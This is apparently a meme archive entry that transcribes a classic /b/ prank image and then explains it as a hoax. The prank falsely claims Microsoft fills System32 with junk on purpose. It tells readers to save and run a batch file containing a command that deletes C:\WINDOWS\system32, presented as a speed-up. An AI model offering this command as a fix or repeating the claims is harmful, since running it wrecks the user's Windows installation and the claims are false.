System32 Newfag Tech Prank

Okay newfags, listen up. When Microsoft was first getting started, they knew they wouldn’t make enough money just from the profits of their operating system. Everybody knows people pirate Windows. So they had to get creative. A guy named Chris Liddel came up with the idea to put a folder called “system32” in the windows folder that literally slows down your machine—on purpose. “system32” holds 32 GIGABYTES of deleted files, internet history, uninstalled programs, and other worthless crap that intentionally clogs up your machine. Why did they do it? Because Microsoft owns several PC “cleaning” tools, like TuneUp Utilities, Norton Antivirus, etc. More money for them. /b/ isn’t cool with that, however. Here’s how to outsmart those assholes once and for all: Open Notepad Type the following text: @echo off del C:\WINDOWS\system32 Save as “speedup.bat” (select “all files” instead of “text document”) Double-click the .bat file Reboot, and your PC is twice as fast. (You didn’t hear it from us.)

The image is a fake technical advice post aimed at “newfags,” claiming that Microsoft intentionally filled the Windows System32 folder with junk to slow computers down. It presents a malicious-looking batch command as a supposed way to delete System32 and make a PC twice as fast, parodying old internet hoaxes and /b/ trolling. People send it as a reaction to absurd tech advice, obvious misinformation, or dangerous computer “fixes.”

• @gentoomemes / 20835 2026-05-06